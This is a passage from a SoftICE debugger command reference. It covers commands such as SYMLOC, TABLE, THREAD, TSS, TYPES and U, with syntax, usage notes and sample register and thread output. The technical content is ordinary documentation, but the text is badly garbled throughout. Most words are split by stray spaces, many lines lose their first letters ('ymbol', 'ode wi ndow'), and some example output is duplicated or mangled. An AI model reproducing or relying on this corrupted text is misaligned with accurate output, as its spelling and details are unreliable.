( sect i on- number sel ect or l i near - addr ess) ]

For Wi ndows 95 and Wi ndows NT
SYMLOC [ segment - addr ess | o | r | - c pr ocess- t ype |
( sect i on- number sel ect or l i near - addr ess) ]
segment addr ess Onl y use t o r el ocat e DOS pr ogr ams.
o For 16- bi t Wi ndows t abl e onl y. Changes al l sel ect or val ues back t o
t hei r or di nal st at e.
r For 16- bi t Wi ndows t abl e onl y. Changes al l segment or di nal s t o t hei r
appr opr i at e sel ect or val ue.
- c Speci f y a cont ext val ue f or a symbol t abl e. Use when debuggi ng DOS
ext ended appl i cat i ons.
sect i on- number For 32- bi t t abl es onl y. PE f i l e 1 based sect i on- number .
sel ect or For 32- bi t t abl es onl y. Pr ot ect ed mode sel ect or .
l i near - addr ess For 32- bi t t abl es onl y. Base addr ess of t he sect i on.

%Use
The SYMLOC command handl es symbol f i xups i n a l oaded symbol t abl e. The command
cont ai ns suppor t f or DOS t abl es, 16- bi t pr ot ect ed mode Wi ndows t abl es ( usi ng O
and R
commands onl y) , and 32- bi t pr ot ect ed mode t abl es. The 32- bi t suppor t i s
i nt ended f or 32- bi t
code t hat must be manual l y f i xed up such as DOS 32- bi t ext ender appl i cat i ons.

I n a DOS pr ogr am, SYMLOC r el ocat es t he segment component s of al l symbol s
r el at i ve t o t he
Pagina 758 di 991
speci f i ed segment - addr ess. Thi s f unct i on i s necessar y when debuggi ng l oadabl e
devi ce dr i ver s
or ot her pr ogr ams t hat cannot be l oaded di r ect l y wi t h t he Sof t I CE Loader .

When r el ocat i ng f or a l oadabl e devi ce dr i ver , use t he val ue of t he base addr ess
of t he dr i ver as
f ound i n t he MAP command. When r el ocat i ng f or an . EXE pr ogr am, t he val ue i s 10h
gr eat er
t han t hat f ound as t he base i n t he MAP command. When r el ocat i ng f or a . COM
pr ogr am,
use t he base segment addr ess t hat i s f ound i n t he MAP command.

The MAP command di spl ays at l east t wo ent r i es f or each pr ogr am. The f i r st i s
t ypi cal l y t he
envi r onment and t he second i s t ypi cal l y t he pr ogr am. The base addr ess of t he
pr ogr ami s t he
r el ocat i on val ue.

For Wi ndows 95 and Wi ndows NT
The SYMLOC - C opt i on al l ows you t o associ at e a speci f i c addr ess cont ext wi t h
t he cur r ent
symbol t abl e. Thi s opt i on i s usef ul f or debuggi ng an ext ender appl i cat i on under
Wi ndows
NT wher e Sof t I CE woul d not be abl e t o assi gn a cont ext t o t he symbol t abl e
aut omat i cal l y.

%Exampl e
The f ol l owi ng exampl e r el ocat es al l segment s i n t he symbol t abl e r el at i ve t o
1244. The +10
r el ocat es a TSR t hat was or i gi nal l y an . EXE f i l e. I f i t i s a . COM f i l e or a DOS
l oadabl e devi ce
dr i ver , t he +10 i s not necessar y.
. : SYMLOC 1244+10
The f ol l owi ng exampl e r el ocat es al l symbol s i n sect i on 1 of t he t abl e t o
401000h usi ng
sel ect or 1Bh. Each sect i on of t he 32- bi t t abl e must be r el ocat ed separ at el y.
. : SYMLOC 1 1b 401000
The f ol l owi ng exampl e set s t he cont ext of t he cur r ent symbol t abl e t o t he
pr ocess whose
pr ocess I D i s 47. Subsequent l y, when symbol s ar e used, Sof t I CE wi l l
aut omat i cal l y swi t ch t o
t hat pr ocess.
. : SYMLOC - c 47

: T
^T WI NDOWS 3. 1, WI NDOWS 95, WI NDOWS NT FLOWCONTROL
^F8
^Tr ace one i nst r uct i on.

%Synt ax
T [ =st ar t - addr ess] [ count ]

count Speci f y how many t i mes Sof t I CE shoul d si ngl e st ep bef or e st oppi ng.

%Use
The T command uses t he si ngl e st ep f l ag t o si ngl e st ep one i nst r uct i on.
Execut i on begi ns at t he cur r ent CS: EI P, unl ess you speci f y t he st ar t - addr ess
par amet er . I f you
speci f y t hi s par amet er , CS: EI P i s changed t o st ar t - addr ess pr i or t o si ngl e
st eppi ng.

I f you speci f y count , Sof t I CE si ngl e st eps count t i mes. Use t he Esc key t o
t er mi nat e st eppi ng
Pagina 759 di 991
wi t h a count .

I f t he Regi st er wi ndow i s vi si bl e when Sof t I CE pops up, al l r egi st er s t hat wer e
al t er ed si nce t he
T command was i ssued ar e di spl ayed wi t h t he bol d vi deo at t r i but e.

I f t he Code wi ndow i s i n sour ce mode, t hi s command si ngl e st eps t o t he next
sour ce
st at ement .

%Exampl e
Thi s exampl e si ngl e st eps t hr ough ei ght i nst r uct i ons st ar t i ng at memor y
l ocat i on CS: 1112.
T = cs: 1112 8


: TABLE
^TABLE Wi ndows 3. 1, Wi ndows 95, Wi ndows NT Symbol / Sour ce
^Change or di spl ay t he cur r ent symbol t abl e.

%Synt ax
For Wi ndows 3. 1
TABLE [ [ r ] par t i al - t abl e- name] | aut oon | aut oof f | $

For Wi ndows 95 and Wi ndows NT
TABLE [ par t i al - t abl e- name] | aut oon | aut oof f | $

par t i al - t abl e- name Symbol t abl e name or enough of t he f i r st f ew char act er s t o
def i ne a
uni que name.
aut oon Key wor d t hat t ur ns aut o t abl e swi t chi ng on.
aut oof f Key wor d t hat t ur ns aut o t abl e swi t chi ng of f .
$ Speci f y $ t o swi t ch t o t he t abl e wher e t he cur r ent i nst r uct i on poi nt er i s
l ocat ed.

%Use
I f you do not speci f y any par amet er s, al l t he cur r ent l y l oaded symbol t abl es
ar e di spl ayed wi t h
t he cur r ent symbol t abl e hi ghl i ght ed. I f you speci f y a par t i al - t abl e- name, t hat
t abl e becomes
t he cur r ent symbol t abl e.

Use t he TABLE command when you have mul t i pl e symbol t abl es l oaded. Sof t I CE
suppor t s
symbol t abl es f or 16- and 32- bi t Wi ndows appl i cat i ons and DLLs, 32- bi t Wi ndows
VxDs,
Wi ndows NT devi ce dr i ver s, DOS pr ogr ams, DOS l oadabl e devi ce dr i ver s, and TSRs.
Symbol s ar e onl y accessi bl e f r omone symbol t abl e at t i me. You must use t he
TABLE
command t o swi t ch t o a symbol t abl e bef or e usi ng symbol s f r omt hat t abl e.
I f you use t he AUTOON keywor d, Sof t I CE wi l l swi t ch t o aut o t abl e swi t chi ng
mode. Thi s
wi l l cause t he cur r ent t abl e t o become whi chever t abl e t he i nst r uct i on poi nt er
i s i n when
Sof t I CE pops up. AUTOOFF t ur ns of f t hi s mode.

Tabl es ar e not aut omat i cal l y r emoved when your pr ogr amexi t s. I f you r el oad
your pr ogr am
wi t h t he Sof t I CE Loader , t he symbol t abl e cor r espondi ng t o t he l oaded pr ogr am
i s r epl aced
wi t h t he new one.

For Wi ndows 3. 1
Pagina 760 di 991
I f t he R par amet er pr ecedes par t i al - t abl e- name, t he speci f i ed t abl e i s r emoved.
Speci f yi ng an
``*' ' af t er t he R par amet er r emoves al l symbol t abl es.

For Wi ndows 95 and Wi ndows NT
Symbol t abl es can be t i ed t o an addr ess cont ext or mul t i pl e addr ess cont ext s.
I f a t abl e i s t i ed
t o a cont ext , swi t chi ng t o t hat t abl e usi ng t he TABLE command swi t ches t o t he
appr opr i at e
addr ess cont ext . I f you use any symbol f r oma cont ext sensi t i ve t abl e, Sof t I CE
swi t ches t o t hat
cont ext . Use Vi ew Symbol Tabl es i n Sof t I CE Loader t o r emove t abl es f r ommemor y.
The R
par amet er i s not suppor t ed.

%Exampl e
Si nce no par amet er s ar e speci f i ed i n t he f ol l owi ng command, al l l oaded symbol
t abl es ar e
l i st ed. GENERI C i s hi ghl i ght ed, because i t i s t he cur r ent t abl e. The amount of
avai l abl e
symbol t abl e memor y i s di spl ayed at t he bot t om.
. : TABLE
MYTSR. EXE
MYAPP. EXE
MYVXD
GENERI C
006412 byt es of symbol t abl e memor y avai l abl e

I n t he f ol l owi ng exampl e, t he cur r ent t abl e i s changed t o MYTSR. EXE. Not i ce
t hat onl y
enough char act er s t o i dent i f y a uni que t abl e wer e ent er ed.
. : TABLE myt


: TABS
^TABS Wi ndows 3. 1, Wi ndows 95, Wi ndows NT Cust omi zat i on
^Di spl ay or set t he t ab set t i ngs f or sour ce di spl ay.

%Synt ax
TABS [ t ab- set t i ng]

t ab- set t i ng Number f r om1 t hr ough 8 t hat speci f i es how many col umns bet ween
t ab st ops.

%Use
Use t he TABS command t o di spl ay or set t ab- set t i ngs f or t he di spl ay of sour ce
f i l es. Tab st ops
can be anywher e f r om1 t o 8 col umns. The def aul t TABS set t i ng i s 8. TABS wi t h
no
par amet er s di spl ay t he cur r ent t ab- set t i ng. Speci f yi ng a t ab- set t i ng of 1
al l ows t he most sour ce
t o be vi ewed si nce each t ab wi l l be r epl aced by a si ngl e space.

%Exampl e
Thi s exampl e causes t he t abs set t i ng t o change t o ever y f our t h col umn st ar t i ng
at t he f i r st
di spl ay col umn.
TABS 4


: TASK
^TASK Wi ndows 3. 1, Wi ndows 95, Wi ndows NT Syst emI nf or mat i on
^Di spl ay t he Wi ndows t ask l i st .
Pagina 761 di 991

%Synt ax
TASK

%Use
The TASK command di spl ays i nf or mat i on about al l t asks t hat ar e cur r ent l y
r unni ng. The t ask
t hat has f ocus i s di spl ayed wi t h an ast er i sk af t er i t s name. Thi s command i s
usef ul when a
gener al pr ot ect i on f aul t occur s because i t i ndi cat es whi ch pr ogr amcaused t he
f aul t .

For Wi ndows NT
The TASK command i s pr ocess speci f i c and onl y shows 16- bi t t asks under Wi ndows
NT. I n
addi t i on, i t i s onl y usef ul when t he cur r ent cont ext i s t hat of an NTVDM
pr ocess cont ai ni ng
a WOWbox. To vi ew i nf or mat i on or pr ocesses, r ef er t o PROC on page 162.

%Out put
For each r unni ng t ask, t he f ol l owi ng i nf or mat i on di spl ays:
Task Name Name of t he t ask.
SS: SP St ack addr ess of t he t ask when i t l ast r el i nqui shed cont r ol .
St ackTop Top of st ack of f set .
St ackBot Bot t omof st ack of f set .
St ackLow Lowest val ue t hat SP has ever had when t her e was a cont ext - swi t ch
away f r omt he t ask.
TaskDB Sel ect or f or t he t ask dat a base segment .
hQueue Queue handl e f or t he t ask. Thi s i s j ust t he sel ect or f or t he queue.
Event s Number of out st andi ng event s i n t he queue.

For Wi ndows 3. 1 and Wi ndows 95
The TASK command wor ks f or 16- and 32- bi t t asks, however , t he f ol l owi ng f i el ds
change f or
32- bi t t asks:
St ackBot Hi ghest l egal addr ess of t he st ack shown as a 32- bi t f l at of f set .
St ackTop Lowest l egal addr ess of t he st ack shown as a 32- bi t f l at of f set .
St ackLow Fi el d i s not used.
SS: SP Cont ai ns t he 16- bi t sel ect or of f set addr ess of t he st ack. I f you exami ne
t he base addr ess of t he 16- bi t sel ect or , you see t hat t hi s poi nt s at t he
same memor y as does t he f l at 32- bi t poi nt er used wi t h t he 32- bi t dat a
sel ect or .

%Exampl e
The f ol l owi ng exampl e shows t he TASK command on Wi ndows 3. 1 r unni ng Wi n32s and
i t s
out put .
. : TASK
TaskNmSS: SP St ackTop St ackBot Low TaskDB hQueue Event s
FREECELL 21BF: 7D96 86CE0000 86D00000 10FF 121F 0000
PROGMAN 17A7: 200A 0936 2070 14CE 064F 07D7 0000
CLOCK 1427: 1916 02E4 1A4E 143E 144F 1437 0000
MSWORD * 29AF: 913E 5956 93A4 7ADE 1F67 1F47 0000

: THREAD
^THREAD Wi ndows 95 Syst emI nf or mat i on
^Di spl ay t hr ead i nf or mat i on.

%Synt ax
THREAD [ TCB | I D | t ask- name]

TCB Thr ead Cont r ol Bl ock.
I D Thr ead I D number .
Pagina 762 di 991
t ask- name Name of a cur r ent l y r unni ng 32- bi t pr ocess.

%Use
Use t he THREAD command t o obt ai n i nf or mat i on about a t hr ead.
. I f you do not speci f y any opt i ons or par amet er s, t he THREAD command di spl ays
i nf or mat i on f or ever y act i ve t hr ead i n t he syst em.
. I f you speci f y a t ask- name as a par amet er , al l act i ve t hr eads f or t hat
pr ocess di spl ay.
. I f you speci f y a TCB or I D, onl y i nf or mat i on f or t hat t hr ead di spl ays.

%Out put
For each t hr ead, t he f ol l owi ng i nf or mat i on i s shown:
Ri ng0TCB Addr ess of t he Ri ng- 0 t hr ead cont r ol bl ock. Thi s i s t he addr ess t hat
i s
passed t o VxDs f or t hr ead cr eat i on and t er mi nat i on.
I D VMM Thr ead I D.
Cont ext Cont ext handl e associ at ed wi t h t he pr ocess of t he t hr ead.
Ri ng3TCB Addr ess of t he KERNEL32 Ri ng- 3 t hr ead cont r ol bl ock
Thr ead I D Ri ng- 3 t hr ead I D
Pr ocess Addr ess of t he KERNEL32 pr ocess dat abase t hat owns t he t hr ead.
TaskDB Sel ect or of t he t ask dat abase t hat owns t he t hr ead.
PDB Sel ect or of t he pr ogr amdat abase ( pr ot ect ed- mode PSP) .
SZ Si ze of t he t hr ead whi ch can be ei t her 16 or 32 bi t .
Owner Pr ocess name of t he owner .

I f you speci f y TCB or I D, t hi s i nf or mat i on di spl ays f or t he t hr ead wi t h t hat
TCB or I D:
. Cur r ent r egi st er cont ent s f or t he t hr ead.
. Al l t hr ead l ocal st or age of f set s wi t hi n t he t hr ead. Thi s shows t he of f set i n
t he t hr ead
cont r ol bl ock of t he VMM TLS ent r y, t he cont ent s of t he TLS ent r y, and t he
owner of
t he TLS ent r y.

%Exampl e
Thi s exampl e di spl ays t he t hr ead t hat bel ongs t o t he Wi nwor d pr ocess:
. : THREAD
The f ol l owi ng%Exampl e shows abbr evi at ed i nf or mat i on about t he t hr ead wi t h I D
8B.
. : THREAD 8B
Ri ng0TCB I D Cont ext Ri ng3TCB Thr eadI D Pr ocess TaskDB PDB SZ Owner
C1051808 008B C104B990 815842CC FFF0671F 8158AAA8 274E 25B7 32 *Wi nwor d
Ri ng0TCB I D Cont ext Ri ng3TCB Thr eadI D Pr ocess TaskDB PDB SZ Owner
C1051808 008B C104B990 815842CC FFF0671F 8158AAA8 274E 25B7 32 *Wi nwor d
CS: EI P=0137: BFF96868 SS: ESP=013F: 0062FC3C DS=013F ES=013F FS=2EBF GS=0000
EAX=002A002E EBX=815805B8 ECX=815842CC EDX=815805B8 I S P
ESI =00000000 EDI =815805B8 EBP=0062FC80 ECODE=00000000
TLS Of f set 007C = 00000000 VPI CD
TLS Of f set 0080 = 00000000 DOSMGR
TLS Of f set 0084 = 00000000 SHELL
TLS Of f set 0088 = C1053434 VMCPD
TLS Of f set 008C = C104EA74 VWI N32
TLS Of f set 0090 = 00000000 VFAT
TLS Of f set 0094 = 00000000 I FSMgr

: THREAD ( NT)
^THREAD Wi ndows NT Syst emI nf or mat i on
^Di spl ay i nf or mat i on about a t hr ead.

%Synt ax
THREAD [ - r | - x | - u] [ t hr ead- t ype | pr ocess- t ype]

- r Di spl ay val ue of t he t hr ead' s r egi st er s.
Pagina 763 di 991
- x Di spl ay ext ended i nf or mat i on f or each t hr ead.
- u Di spl ay t hr eads wi t h user - l evel component s.
t hr ead- t ype Thr ead handl e or t hr ead i d.
pr ocess- t ype Pr ocess- handl e, pr ocess- i d or pr ocess- name.

%Use
Use t he THREAD command t o obt ai n i nf or mat i on about a t hr ead.
. I f you do not speci f y any opt i ons or par amet er s t he THREAD command di spl ays
i nf or mat i on f or ever y act i ve t hr ead i n t he syst em.
. I f you speci f y a pr ocess- t ype as a par amet er , al l t he act i ve t hr eads f or t hat
pr ocess di spl ay.
. I f you speci f y a t hr ead- t ype, onl y i nf or mat i on f or t hat t hr ead di spl ays.

For t he - R and - X opt i ons, t he r egi st er s shown ar e t hose t hat ar e saved on
t hr ead cont ext
swi t ches: ESI , EDI , EBX and EBP.

%Out put
For each t hr ead, t he f ol l owi ng summar y i nf or mat i on i s di spl ayed:
TI D Thr ead I D.

Kr nl TEB Ker nel Thr ead Envi r onment Bl ock.
St ackBt mAddr ess of t he bot t omof t he t hr ead' s st ack.
St ackTop Addr ess of t he st ar t of t he t hr ead' s st ack.
St ackPt r Thr eads cur r ent st ack poi nt er val ue.
User TEB User t hr ead envi r onment bl ock.
Pr ocess( I d) Owner pr ocess- name and pr ocess- i d.


Many f i el ds of t hr ead envi r onment bl ocks ar e shown when ext ended out put i s
speci f i ed, wi t h
most bei ng sel f - expl anat or y. Some ar e par t i cul ar l y usef ul and deser ve t o be
hi ghl i ght ed:
TI D Thr ead I D.
KTEB Ker nel Thr ead Envi r onment Bl ock.
Base Pr i , Dyn. Pr i Thr eads base pr i or i t y and cur r ent pr i or i t y.
Mode I ndi cat es whet her t he t hr ead i s execut i ng i n user or ker nel mode.
Swi t ches Number of cont ext swi t ches made by t he t hr ead.
Af f i ni t y Pr ocessor af f i ni t y mask of t he t hr ead. Bi t posi t i ons t hat ar e set
r epr esent pr ocessor s on whi ch t he t hr ead i s al l owed t o execut e.
Rest ar t Addr ess at whi ch t he t hr ead wi l l st ar t execut i ng when i t i s r esumed.
The t hr ead' s st ack t r ace i s di spl ayed l ast .

%Exampl e
The f ol l owi ng exampl e uses t he THREAD command t o di spl ay t he t hr eads t hat
bel ong t o t he
Expl or er pr ocess:
. : THREAD expl or er

Thi s exampl e di spl ays ext ended i nf or mat i on on t he t hr ead wi t h I D 5Fh:
. : THREAD - x 5f
Ext ended Thr ead I nf o f or t hr ead 5F
KTEB: FD850D80 TI D: 05F Pr ocess: Expl or er ( 60)
Base Pr i : D Dyn. Pr i : E Quant um: 2
Mode: User Suspended: 0 Swi t ches: 00024B4F
Ti ckCount : 00EE8DA4 Wai t I r ql : 0
St at us: User Wai t f or Wr Event Pai r
St ar t EI P: KERNEL32! LeaveCr i t i cal Sect i on+0058 ( 6060744C)
Af f i ni t y: 00000001 Cont ext Fl ags: A
KSS EBP: FB1C3F04 Cal l back ESP: 00000000
Ker nel St ack: FB1C2000 - FB1C4000 St ack Pt r : FB1C3ED8
User St ack: 00030000 - 00130000 St ack Pt r : 0012FE3C
Ker nel Ti me: 0000014A User Ti me: 0000015F
Pagina 764 di 991
Cr eat e Ti me: 01BB10646E2DBE90
Spi nLock: 00000000 Ser vi ce Tabl e: 80174A40 Queue: 00000000
SE Token: 00000000 SE Acc. Fl ags: 001F03FF
UTEB: 7FFDE000 Except Fr ame: 0012FEB4 Last Er r : 00000006
TI D Kr nl TEB St ackBt mSt kTop St ackPt r User TEB Pr ocess( I d)
006A FD857DA0 FB1CB000 FB1CD000 FB1CCED8 7FFDE000 Expl or er ( 6B)
006F FD854620 FB235000 FB237000 FB236B2C 7FFDD000 Expl or er ( 6B)
007C FD840020 FD72F000 FD731000 FD730E24 7FFDB000 Expl or er ( 6B)
Regi st er s: ESI =FD850D80 EDI =0012FEC4 EBX=77F6BA0C
EBP=FB1C3F04
Rest ar t : EI P=80168757 a. k. a. _Ki Set Ser ver Wai t Cl i ent Event +01CF
Expl or er ! . t ext +975D at 001B: 0100A75D
Expl or er ! . t ext +9945 at 001B: 0100A945
Expl or er ! . t ext +A3F8 at 001B: 0100B3F8
USER32! Wai t Message+004F at 001B: 60A0CA4B
user 32! . t ext +070A at 001B: 60A0170A
=> nt dl l ! Csr Cl i ent SendMessage+0072 at 001B: 77F6BA0C


: TRACE
^TRACE WI NDOWS 3. 1, WI NDOWS 95 SYMBOL/ SOURCE
^CTRL- F9, TRACE B, CTRL- F12
^Ent er or exi t Tr ace si mul at i on mode.

%Synt ax
TRACE [ b | of f | st ar t ]

st ar t Hexadeci mal number speci f yi ng t he i ndex wi t hi n t he back t r ace
hi st or y buf f er t o st ar t t r aci ng f r om. An i ndex of 1 cor r esponds t o t he
newest i nst r uct i on i n t he buf f er .

%Use
Use t he TRACE command t o ent er , exi t , and di spl ay t he cur r ent st at e of t he
t r ace si mul at i on
mode. TRACE wi t h no par amet er s di spl ays t he cur r ent st at e of t r ace si mul at i on
mode.
TRACE f ol l owed by of f exi t s f r omt r ace si mul at i on mode and r et ur ns t o r egul ar
debuggi ng
mode. TRACE B ent er s t r ace si mul at i on mode st ar t i ng f r omt he ol dest i nst r uct i on
i n t he
back t r ace hi st or y buf f er . TRACE f ol l owed by a st ar t number ent er s t r ace
si mul at i on mode at
t he speci f i ed i ndex wi t hi n t he back t r ace hi st or y buf f er .

You can use t he t r ace si mul at i on mode onl y i f t he back t r ace hi st or y buf f er
cont ai ns
i nst r uct i ons. To f i l l t he back t r ace hi st or y buf f er , use t he BPR command wi t h
ei t her t he T or
TWpar amet er t o speci f yi ng a r ange br eakpoi nt .

When t r ace si mul at i on mode i s act i ve, t he hel p l i ne on t he bot t omof t he scr een
shows t hi s, as
wel l as t he i ndex of t he cur r ent i nst r uct i on wi t hi n t he back t r ace hi st or y
buf f er .

Use t he XT, XP, and XG commands t o st ep t hr ough t he i nst r uct i ons i n t he back
r ace hi st or y
buf f er f r omwi t hi n t he t r ace si mul at i on mode. When st eppi ng t hr ough t he back
r ace hi st or y
buf f er , t he onl y r egi st er t hat changes i s t he EI P r egi st er because back t r ace
anges do NOT
r ecor d t he cont ent s of al l t he r egi st er s. You can use al l t he Sof t I CE ommands
wi t hi n t r ace
Pagina 765 di 991
si mul at i on mode except f or t he f ol l owi ng: X, T, G, P, HERE, and XRSET.

%Exampl e
Thi s exampl e ent er s t r ace si mul at i on mode st ar t i ng at t he ei ght h i nst r uct i on n
t he back t r ace
hi st or y buf f er .
TRACE 8


: TSS
^TSS Wi ndows 3. 1, Wi ndows 95, Wi ndows NT Syst emI nf or mat i on
^Di spl ay t ask st at e segment and I / O por t hooks.

%Synt ax
For Wi ndows 3. 1
TSS

For Wi ndows 95 and Wi ndows NT
TSS [ TSS- sel ect or ]

TSS- sel ect or Any GDT sel ect or t hat r epr esent s a TSS.

%Use
Thi s command di spl ays t he cont ent s of t he t ask st at e segment af t er r eadi ng he
t ask r egi st er
( TR) t o obt ai n i t s addr ess.

You can di spl ay any 32- bi t TSS by suppl yi ng a val i d 32- bi t Task Gat e sel ect or s
a par amet er .

Use t he GDT command t o f i nd TSS sel ect or s. I f you do not speci f y a par amet er ,
he cur r ent
TSS i s shown.

%Out put
The f ol l owi ng i nf or mat i on i s di spl ayed:
TSS sel ect or val ue TSS sel ect or number .
sel ect or base Li near addr ess of t he TSS.
sel ect or l i mi t Si ze of t he TSS.

The next f our l i nes of t he di spl ay show t he cont ent s of t he r egi st er f i el ds n
t he TSS. The
f ol l owi ng r egi st er s ar e di spl ayed:
LDT, GS, FS, DS, SS, CS, ES, CR3
EAX, EBX, ECX, EDX, EI P
ESI , EDI , EBP, ESP, EFLAGS
Level 0, 1 and 2 st ack SS: ESP

For Wi ndows 3. 1 and Wi ndows 95
Next , t he TSS bi t mask ar r ay i s pr i nt ed, whi ch shows each I / O por t t hat has een
hooked by a
Wi ndows vi r t ual devi ce dr i ver ( VxD) . For each por t , t he f ol l owi ng i nf or mat i on s
di spl ayed:
por t number 16- bi t por t number .
handl er addr ess 32- bi t f l at addr ess of t he por t ' s I / O handl er . Al l I / O
nst r uct i ons on
t he por t wi l l be r ef l ect ed t o t hi s handl er .
handl er name Symbol i c name of t he I / O handl er f or t he por t . I f symbol s ar e
avai l abl e f or t he VxD, t he near est symbol wi l l be di spl ayed; ot her wi se
t he name of t he VxD f ol l owed by t he handl er ' s of f set wi t hi n t he VxD
wi l l be di spl ayed.

For Wi ndows 95 and Wi ndows NT
Pagina 766 di 991
The I / O per mi ssi on map base and si ze ar e al so di spl ayed. A si ze of zer o
ndi cat es t hat al l I / O i s
t r apped. A non- zer o si ze i ndi cat es t hat t he I / O per mi ssi on map det er mi nes i f n
I / O por t i s
t r apped.

%Exampl e
The f ol l owi ng exampl e di spl ays t he t ask st at e segment i n t he Command wi ndow
out put of
t he bi t mask ar r ay i s abbr evi at ed) .
. : TSS
TR=0018 BASE=C000AEBC LI MI T=2069
LDT=0000 GS=0000 FS=0000 DS=0000 SS=0000 CS=0000 ES=0000
CR3=00000000
EAX=00000000 EBX=00000000 ECX=00000000 EDX=00000000 EI P=00000000
ESI =00000000 EDI =00000000 EBP=00000000 ESP=00000000 EFL=00000000
SS0=0030: C33EEFA8 SS1=0000: 00000000 SS2=0000: 00000000
I / O Map Base=0068 I / O Map Si ze=2000
Por t Handl er Tr apped Owner
0000 C00C3E92 Yes VDMAD( 01) +17BA
0001 C00C3F0E Yes VDMAD( 01) +1836
0002 C00C3E92 Yes VDMAD( 01) +17BA
0003 C00C3F0E Yes VDMAD( 01) +1836
0004 C00C3E92 Yes VDMAD( 01) +17BA
0005 C00C3F0E Yes VDMAD( 01) +1836
0006 C00C3E92 Yes VDMAD( 01) +17BA
0007 C00C3F0E Yes VDMAD( 01) +1836
0008 C00C3C55 Yes VDMAD( 01) +157D
0009 C00C3D98 Yes VDMAD( 01) +16C0

I f you ar e i nt er est ed i n whi ch VxD has hooked por t 21h ( i nt er r upt mask
egi st er ) , you woul d
l ook at t he TSS bi t mask out put of t he TSS di spl ay f or t he ent r y or r espondi ng
t o t he por t .
The f ol l owi ng out put , t aken f r omt he TSS command' s out put , i ndi cat es t hat t he
or t i s
hooked by t he vi r t ual PI C devi ce and i t s handl er i s at of f set 800792B4 i n t he
l at code
segment . Thi s cor r esponds t o an of f set of 0AF8h byt es f r omt he begi nni ng of
PI CD' s code
segment .
0021 800792B4 VPI CD+0AF8


: TYPES.
^TYPES Wi ndows 95, Wi ndows NT Symbol / Sour ceCommand
^Li st al l t ypes i n t he cur r ent cont ext or l i st al l t ype i nf or mat i on f or t he
t ype- name speci f i ed.

%Synt ax
TYPES [ t ype- name]

t ype- name Li st al l t ype i nf or mat i on f or t he t ype- name speci f i ed.

%Use
I f you do not speci f y a t ype- name, TYPES l i st s al l t he t ypes i n t he cur r ent
ont ext . I f you do
speci f y a t ype- name, TYPES l i st s al l t he t ype i nf or mat i on f or t he t ype- name ou
speci f i ed. I f
t he t ype- name you speci f i ed i s a st r uct ur e, TYPES expands t he st r uct ur e and
i st s t he t ypedef s
f or i t s member s.

Pagina 767 di 991
%Exampl e
The f ol l owi ng exampl e di spl ays a par t i al l i st i ng of al l t he t ypes i n t he ur r ent
cont ext :
. : TYPES
Si ze Type Name Typedef
0x0004 ABORTPROC i nt st dcal l ( *pr oc) ( voi d)
0x0004 ACCESS_MASK unsi gned l ong
0x0004 ACL_I NFORMATI ON_CLASS i nt
0x0018 ARRAY_I NFO st r uct ARRAY_I NFO
0x0002 ATOM unsi gned shor t
0x0048 BALLDATA st r uct _BALLDATA
0x0048 _BALLDATA st r uct _BALLDATA
0x0020 _BEZBUFFER st r uct _BEZBUFFER
0x0004 BOOL i nt
0x0001 BOOLEAN unsi gned char
0x0010 _BOUNCEDATA st r uct _BOUNCEDATA
0x0004 BSTR unsi gned shor t *

The f ol l owi ng exampl e di spl ays al l t he t ype i nf or mat i on f or t he t ype- name
bouncedat a:
. : TYPES _bouncedat a
t ypedef st r uct _BOUNCEDATA {
publ i c:
voi d * hBal l 1 ;
voi d * hBal l 2 ;
voi d * hBal l 3 ;
voi d * hBal l 4 ;
};


: U
^U Wi ndows 3. 1, Wi ndows 95, Wi ndows NT Di spl ay/ ChangeMemor y
^Unassembl e i nst r uct i ons.

%Synt ax
For Wi ndows 3. 1
U [ addr ess] | [ symbol - name]

For Wi ndows 95 and Wi ndows NT
U [ addr ess [ l l engt h] ] | [ symbol - name]

addr ess Segment of f set or sel ect or of f set .
symbol - name Scr ol l s t he Code wi ndow t o t he f unct i on you speci f y.
l engt h Number of i nst r uct i on byt es.

%Use
The U command di spl ays ei t her sour ce code or unassembl ed code at t he peci f i ed
addr ess.

The code di spl ays i n t he cur r ent mode ( ei t her code, mi xed, or sour ce) of t he
ode wi ndow, .

Sour ce di spl ays onl y i f i t i s avai l abl e f or t he speci f i ed addr ess. To change he
mode of t he Code
wi ndow, use t he SRC command ( def aul t key F3) .

I f you do not speci f y t he addr ess, t he command unassembl es at t he addr ess her e
you l ef t of f .

I f t he Code wi ndow i s vi si bl e, t he i nst r uct i ons di spl ay i n t he Code wi ndow,
t her wi se t hey
di spl ay i n t he Command wi ndow. I n t he Command wi ndow ei t her ei ght l i nes i spl ay,
or one
Pagina 768 di 991
l ess t han t he l engt h of t he Command wi ndow.

To make t he Code wi ndow vi si bl e, use t he WC command ( def aul t key Al t - F3) . To
ove t he
cur sor t o t he Code wi ndow, use t he EC command ( def aul t key F6) .

I f t he i nst r uct i on i s at t he cur r ent CS: EI P, i t di spl ays usi ng t he r ever se i deo
at t r i but e. I f t he
cur r ent CS: EI P i nst r uct i on i s a r el at i ve j ump, i t cont ai ns ei t her t he st r i ng
UMP or NO
J UMP, i ndi cat i ng whet her or not t he j ump wi l l be t aken, and i f so, an ar r ow
ndi cat i ng i f t he
j ump wi l l go up or down i n t he Code wi ndow. I f t he cur r ent CS: EI P i nst r uct i on
ef er ences a
memor y l ocat i on, t he cont ent s of t he memor y l ocat i on di spl ay i n t he Regi st er
i ndow
beneat h t he f l ags f i el d. I f t he Regi st er wi ndow i s not vi si bl e, t hi s val ue
i spl ays on t he end of
t he code l i ne.

I f a br eakpoi nt i s set on an i nst r uct i on bei ng di spl ayed, t he code l i ne i s
i spl ayed usi ng t he
bol d at t r i but e.

I f any of t he memor y addr esses wi t hi n an i nst r uct i on have a cor r espondi ng
ymbol , t he
symbol di spl ays i nst ead of t he hexadeci mal addr ess. I f an i nst r uct i on i s ocat ed
at a code
symbol , t he symbol name di spl ays on t he l i ne above t he i nst r uct i on.

To vi ew or suppr ess t he act ual hexadeci mal byt es of t he i nst r uct i on, use t he
ODE
command.

For Wi ndows 95 and Wi ndows NT
I f you speci f y a l engt h, Sof t I CE di sassembl es t he i nst r uct i ons i n t he Command
i ndow
i nst ead of t he Code wi ndow. Thi s i s usef ul f or r ever se engi neer i ng, f or xampl e,
di sassembl i ng
an ent i r e r out i ne and t hen usi ng t he Sof t I CE Loader Save Sof t I CE Hi st or y
unct i on t o
capt ur e t he out put t o a f i l e.

%Exampl e
To unassembl e i nst r uct i ons begi nni ng at 10 hexadeci mal byt es bef or e t he ur r ent
addr ess, use
t he command:
U ei p - 10
To di spl ay sour ce i n t he Code wi ndow st ar t i ng at l i ne number 121, use t he
ommand:
U . 121

For Wi ndows 95 and Wi ndows NT
